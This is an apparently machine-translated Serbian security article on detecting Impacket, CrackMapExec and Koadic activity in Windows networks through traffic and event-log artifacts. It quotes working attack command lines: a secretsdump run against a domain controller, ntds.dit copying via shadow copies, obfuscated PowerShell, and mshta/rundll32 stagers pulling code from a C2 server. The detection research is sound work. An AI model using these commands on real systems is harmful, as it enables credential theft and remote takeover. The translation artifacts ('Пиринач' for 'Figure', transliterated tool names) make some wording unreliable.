Како открити нападе на Виндовс инфраструктуру: проучавање хакерских алата

Број напада у корпоративном сектору сваке године расте: нпр у 2017. забележено је 13% више јединствених инцидената него у 2016, а на крају 2018 - 27% више инциденатанего у претходном периоду. Укључујући и оне у којима је главни радни алат Виндовс оперативни систем. У 2017-2018, АПТ Драгонфли, АПТ28, АПТ МуддиВатер извршио нападе на владине и војне организације у Европи, Северној Америци и Саудијској Арабији. И за ово смо користили три алата - Импацкет, ЦрацкМапЕкец и Коадић. Њихов изворни код је отворен и доступан на ГитХуб-у.

Вреди напоменути да се ови алати не користе за почетни продор, већ за развој напада унутар инфраструктуре. Нападачи их користе у различитим фазама напада након продора у периметар. Ово је, иначе, тешко открити и често само уз помоћ технологије идентификовање трагова компромитовања у мрежном саобраћају или алати који дозвољавају открити активне акције нападача након што је продро у инфраструктуру. Алати пружају различите функције, од преноса датотека до интеракције са регистром и извршавања команди на удаљеној машини. Спровели смо студију ових алата да бисмо утврдили њихову мрежну активност.

Шта је требало да урадимо:

• Схватите како функционишу алати за хаковање. Сазнајте шта нападачи треба да искористе и које технологије могу да користе.
• Пронађите оно што није откривено алатима за безбедност информација у првим фазама напада. Фаза извиђања може бити прескочена, било зато што је нападач интерни нападач, или зато што нападач искоришћава рупу у инфраструктури која раније није била позната. Постаје могуће обновити цео ланац његових акција, отуда и жеља да се открије даље кретање.
• Уклоните лажне позитивне резултате из алата за откривање упада. Не смемо заборавити да када се одређене акције открију само на основу извиђања, могуће су честе грешке. Обично у инфраструктури постоји довољан број начина, који се на први поглед не разликују од легитимних, за добијање било какве информације.

Шта ови алати дају нападачима? Ако је ово Имппацкет, нападачи добијају велику библиотеку модула који се могу користити у различитим фазама напада који следе након пробијања периметра. Многи алати користе Имппацкет модуле интерно - на пример, Метасплоит. Има дцомекец и вмиекец за даљинско извршавање команди, сецретсдумп за добијање налога из меморије који су додати из Имппацкета. Као резултат тога, исправна детекција активности такве библиотеке ће обезбедити детекцију деривата.

Није случајно што су креатори написали “Поверед би Имппацкет” о ЦрацкМапЕкец-у (или једноставно ЦМЕ). Поред тога, ЦМЕ има готову функционалност за популарне сценарије: Мимикатз за добијање лозинки или њихових хешева, имплементацију Метерпретер или Емпире агента за даљинско извршење и Блоодхоунд на броду.

Трећи алат који смо изабрали био је Коадиц. Сасвим је недавно, представљен је на међународној хакерској конференцији ДЕФЦОН 25 2017. године и одликује се нестандардним приступом: ради преко ХТТП-а, Јава Сцрипт-а и Мицрософт Висуал Басиц Сцрипт-а (ВБС). Овај приступ се назива живот ван земље: алат користи скуп зависности и библиотека уграђених у Виндовс. Креатори га зову ЦОМ Цомманд & Цонтрол, или Ц3.

ИМПАЦКЕТ

Функционалност Имппацкета је веома широка, у распону од извиђања унутар АД и прикупљања података са интерних МС СКЛ сервера, до техника за добијање акредитива: ово је СМБ релејни напад и добијање нтдс.дит датотеке која садржи хешове корисничких лозинки од контролера домена. Импацкет такође извршава команде на даљину користећи четири различите методе: ВМИ, Виндовс Сцхедулер Манагемент Сервице, ДЦОМ и СМБ, и за то су му потребни акредитиви.

Сецретсдумп

Хајде да погледамо сецретсдумп. Ово је модул који може да циља и корисничке машине и контролере домена. Може се користити за добијање копија меморијских области ЛСА, САМ, СЕЦУРИТИ, НТДС.дит, тако да се може видети у различитим фазама напада. Први корак у раду модула је аутентификација преко СМБ, која захтева или корисничку лозинку или њен хеш да би се аутоматски извршио напад Пасс тхе Хасх. Следи захтев за отварање приступа Сервице Цонтрол Манагер-у (СЦМ) и приступ регистру преко винрег протокола, помоћу којег нападач може да сазна податке о гранама од интереса и добије резултате преко СМБ.

На сл. 1 видимо како се тачно када се користи винрег протокол, приступ добија помоћу кључа регистратора са ЛСА. Да бисте то урадили, користите команду ДЦЕРПЦ са опкодом 15 - ОпенКеи.

Пиринач. 1. Отварање кључа регистратора помоћу винрег протокола

Затим, када се добије приступ кључу, вредности се чувају помоћу команде СавеКеи са опцодеом 20. Имппацкет то ради на врло специфичан начин. Он чува вредности у датотеци чије је име низ од 8 насумичних знакова са додатком .тмп. Поред тога, даље учитавање ове датотеке се одвија преко СМБ-а из Систем32 директоријума (слика 2).

Пиринач. 2. Шема за добијање кључа регистратора са удаљене машине

Испоставило се да се таква активност на мрежи може открити упитима одређеним гранама регистра користећи винрег протокол, одређена имена, команде и њихов редослед.

Овај модул такође оставља трагове у Виндовс евиденцији догађаја, што га чини лаким за откривање. На пример, као резултат извршавања команде

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

У евиденцији Виндовс Сервер 2016 видећемо следећи кључни низ догађаја:

1. 4624 - даљинско пријављивање.
2. 5145 - провера права приступа удаљеном сервису винрег.
3. 5145 - провера права приступа датотекама у Систем32 директоријуму. Датотека има насумично име поменуто горе.
4. 4688 - креирање цмд.еке процеса који покреће вссадмин:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - креирање процеса командом:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - креирање процеса командом:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - креирање процеса командом:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Смбекец

Као и многи алати након експлоатације, Имппацкет има модуле за даљинско извршавање команди. Фокусираћемо се на смбекец, који обезбеђује интерактивну командну шкољку на удаљеној машини. Овај модул такође захтева аутентификацију преко СМБ-а, било помоћу лозинке или хеша лозинке. На сл. На слици 3 видимо пример како такав алат функционише, у овом случају то је локална администраторска конзола.

Пиринач. 3. Интерактивна смбекец конзола

Први корак смбекец-а након аутентификације је отварање СЦМ-а помоћу ОпенСЦМанагерВ команде (15). Упит је значајан: поље МацхинеНаме је ДУММИ.

Пиринач. 4. Захтев за отварање Сервице Цонтрол Манагер

Затим се сервис креира помоћу команде ЦреатеСервицеВ (12). У случају смбекец-а, сваки пут можемо видети исту логику конструкције команде. На сл. 5 зелено означава непроменљиве параметре команде, жуто означава шта нападач може да промени. Лако је видети да се име извршне датотеке, њен директоријум и излазна датотека могу променити, али је остало много теже променити без нарушавања логике модула Имппацкет.

Пиринач. 5. Захтевајте креирање услуге користећи Сервице Цонтрол Манагер

Смбекец такође оставља очигледне трагове у Виндовс евиденцији догађаја. У евиденцији Виндовс Сервер 2016 за интерактивну командну шкољку са командом ипцонфиг, видећемо следећи кључни низ догађаја:

1. 4697 — инсталирање услуге на машини жртве:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - креирање процеса цмд.еке са аргументима из тачке 1.
3. 5145 - провера права приступа __излазној датотеци у Ц$ директоријуму.
4. 4697 — инсталирање сервиса на машини жртве.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - креирање процеса цмд.еке са аргументима из тачке 4.
6. 5145 - провера права приступа __излазној датотеци у Ц$ директоријуму.

Имппацкет је основа за развој алата за напад. Подржава скоро све протоколе у ​​Виндовс инфраструктури и истовремено има своје карактеристичне карактеристике. Овде су специфични винрег захтеви и употреба СЦМ АПИ-ја са карактеристичним формирањем команди, формат имена датотеке и СМБ дељење СИСТЕМ32.

ЦРАЦКМАПЕКСЕЦ

ЦМЕ алат је дизајниран првенствено да аутоматизује оне рутинске радње које нападач мора да изврши да би напредовао унутар мреже. Омогућава вам да радите у сарадњи са познатим Емпире агентом и Метерпретером. Да би тајно извршио команде, ЦМЕ их може замаглити. Користећи Блоодхоунд (посебан алат за извиђање), нападач може аутоматизовати претрагу активне сесије администратора домена.

Блоодхоунд

Блоодхоунд, као самостални алат, омогућава напредно извиђање унутар мреже. Прикупља податке о корисницима, машинама, групама, сесијама и испоручује се као ПоверСхелл скрипта или бинарна датотека. За прикупљање информација користе се ЛДАП или СМБ протоколи. Интеграциони модул ЦМЕ омогућава преузимање Блоодхоунда на машину жртве, покретање и примање прикупљених података након извршења, чиме се аутоматизују радње у систему и чине их мање уочљивим. Графичка љуска Блоодхоунд представља прикупљене податке у облику графикона, што вам омогућава да пронађете најкраћи пут од машине нападача до администратора домена.

Пиринач. 6. Блоодхоунд интерфејс

Да би се покренуо на машини жртве, модул креира задатак користећи АТСВЦ и СМБ. АТСВЦ је интерфејс за рад са Виндовс Таск Сцхедулер-ом. ЦМЕ користи своју функцију НетрЈобАдд(1) за креирање задатака преко мреже. Пример онога што ЦМЕ модул шаље приказан је на Сл. 7: Ово је позив команде цмд.еке и замагљени код у облику аргумената у КСМЛ формату.

Фиг.7. Креирање задатка преко ЦМЕ-а

Након што је задатак достављен на извршење, жртвина машина покреће сам Блоодхоунд, и то се види у саобраћају. Модул карактеришу ЛДАП упити за добијање стандардних група, списак свих машина и корисника у домену и добијање информација о активним корисничким сесијама путем СРВСВЦ НетСессЕнум захтева.

Пиринач. 8. Добијање листе активних сесија преко СМБ

Поред тога, покретање Блоодхоунд-а на машини жртве са омогућеном ревизијом је праћено догађајем са ИД-ом 4688 (креирање процеса) и именом процеса «C:WindowsSystem32cmd.exe». Оно што је значајно у вези са тим су аргументи командне линије:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Енум_авпродуцтс

Модул енум_авпродуцтс је веома интересантан са становишта функционалности и имплементације. ВМИ вам омогућава да користите ВКЛ језик упита за преузимање података из различитих Виндовс објеката, што је у суштини оно што овај ЦМЕ модул користи. Он генерише упите класама АнтиСпивареПродуцт и АнтиМирусПродуцт о заштитним алатима инсталираним на машини жртве. Да би добио потребне податке, модул се повезује са простором имена роотСецуритиЦентер2, затим генерише ВКЛ упит и добија одговор. На сл. На слици 9 приказан је садржај таквих захтева и одговора. У нашем примеру пронађен је Виндовс Дефендер.

Пиринач. 9. Мрежна активност модула енум_авпродуцтс

Често, ВМИ ревизија (Траце ВМИ-Ацтивити), у чијим догађајима можете пронаћи корисне информације о ВКЛ упитима, може бити онемогућена. Али ако је омогућено, онда ако се покрене скрипта енум_авпродуцтс, биће сачуван догађај са ИД-ом 11. Садржаће име корисника који је послао захтев и име у именском простору роотСецуритиЦентер2.

Сваки од ЦМЕ модула имао је своје артефакте, било да се ради о специфичним ВКЛ упитима или креирању одређеног типа задатка у планеру задатака са замагљивањем и активностима специфичним за Блоодхоунд у ЛДАП-у и СМБ.

КОАДИЋ

Посебност Коадиц-а је употреба ЈаваСцрипт и ВБСцрипт интерпретатора уграђених у Виндовс. У том смислу, прати тренд живљења од земље - то јест, нема спољне зависности и користи стандардне Виндовс алате. Ово је алатка за потпуну команду и контролу (ЦнЦ), пошто се након инфекције на машину инсталира „имплантат“ који омогућава да се контролише. Таква машина, у терминологији Коадиц, назива се „зомби“. Ако нема довољно привилегија за потпуну операцију на страни жртве, Коадиц има могућност да их подигне користећи технике заобилажења контроле корисничког налога (УАЦ бипасс).

Пиринач. 10. Коадиц Схелл

Жртва мора да покрене комуникацију са сервером за команду и контролу. Да би то урадила, она треба да ступи у контакт са претходно припремљеним УРИ-јем и прими главно тело Коадиц-а користећи један од бијџера. На сл. На слици 11 приказан је пример за мсхта стагер.

Пиринач. 11. Иницијализација сесије са ЦнЦ сервером

На основу променљиве одговора ВС, постаје јасно да се извршавање дешава преко ВСцрипт.Схелл, а променљиве СТАГЕР, СЕССИОНКЕИ, ЈОБКЕИ, ЈОБКЕИПАТХ, ЕКСПИРЕ садрже кључне информације о параметрима тренутне сесије. Ово је први пар захтев-одговор у ХТТП вези са ЦнЦ сервером. Накнадни захтеви су директно везани за функционалност прозваних модула (имплантата). Сви Коадиц модули раде само са активном сесијом са ЦнЦ-ом.

Мимикатз

Баш као што ЦМЕ ради са Блоодхоундом, Коадиц ради са Мимикатзом као засебним програмом и има више начина да га покрене. Испод је пар захтев-одговор за преузимање Мимикатз имплантата.

Пиринач. 12. Пребаци Мимикатза у Коадић

Можете видети како се променио УРИ формат у захтеву. Сада садржи вредност за променљиву цсрф, која је одговорна за изабрани модул. Не обраћајте пажњу на њено име; Сви знамо да се ЦСРФ обично другачије схвата. Одговор је био исти главни део Коадића, коме је додат код везан за Мимикатза. Прилично је велика, па хајде да погледамо кључне тачке. Овде имамо Мимикатз библиотеку кодирану у басе64, серијализовану .НЕТ класу која ће је убацити, и аргументе за покретање Мимикатза. Резултат извршења се преноси преко мреже у чистом тексту.

Пиринач. 13. Резултат покретања Мимикатза на удаљеној машини

Екец_цмд

Коадиц такође има модуле који могу даљински да извршавају команде. Овде ћемо видети исти метод генерисања УРИ-ја и познате променљиве сид и цсрф. У случају модула екец_цмд, код се додаје телу које је способно да извршава команде љуске. Испод је приказан такав код садржан у ХТТП одговору ЦнЦ сервера.

Пиринач. 14. Шифра имплантата екец_цмд

За извршење кода потребна је променљива ГАВТУУГЦФИ са познатим ВС атрибутом. Уз његову помоћ, имплант позива љуску, обрађујући две гране кода - схелл.екец са повратком излазног тока података и схелл.рун без враћања.

Коадиц није типичан алат, али има своје артефакте помоћу којих се може наћи у легитимном саобраћају:

• посебно формирање ХТТП захтева,
• користећи винХттпРекуестс АПИ,
• креирање ВСцрипт.Схелл објекта преко АцтивеКСОбјецт,
• велико извршно тело.

Иницијалну везу иницира стагер, тако да је могуће открити његову активност кроз Виндовс догађаје. За мсхта, ово је догађај 4688, који указује на креирање процеса са атрибутом старт:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Док Коадиц ради, можете видети других 4688 догађаја са атрибутима који га савршено карактеришу:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Налази

Тренд живљења од земље постаје све популарнији међу криминалцима. Они користе алате и механизме уграђене у Виндовс за своје потребе. Видимо да се популарни алати Коадиц, ЦрацкМапЕкец и Имппацкет који прате овај принцип све чешће појављују у АПТ извештајима. Расте и број форкова на ГитХуб-у за ове алате, а појављују се и нови (сада их има већ око хиљаду). Тренд постаје све популарнији због своје једноставности: нападачима нису потребни алати треће стране; они су већ на машинама жртава и помажу им да заобиђу мере безбедности. Фокусирамо се на проучавање мрежне комуникације: сваки горе описани алат оставља своје трагове у мрежном саобраћају; Њихово детаљно проучавање омогућило нам је да научимо наш производ ПТ Нетворк Аттацк Дисцовери открити их, што на крају помаже да се истражи цео ланац сајбер инцидената који их укључују.

Аутори:

• Антон Тјурин, шеф одељења за стручне услуге, ПТ Екперт Сецурити Центер, Поситиве Тецхнологиес
• Егор Подмоков, експерт, ПТ Екперт Сецурити Центер, Поситиве Тецхнологиес

Извор: ввв.хабр.цом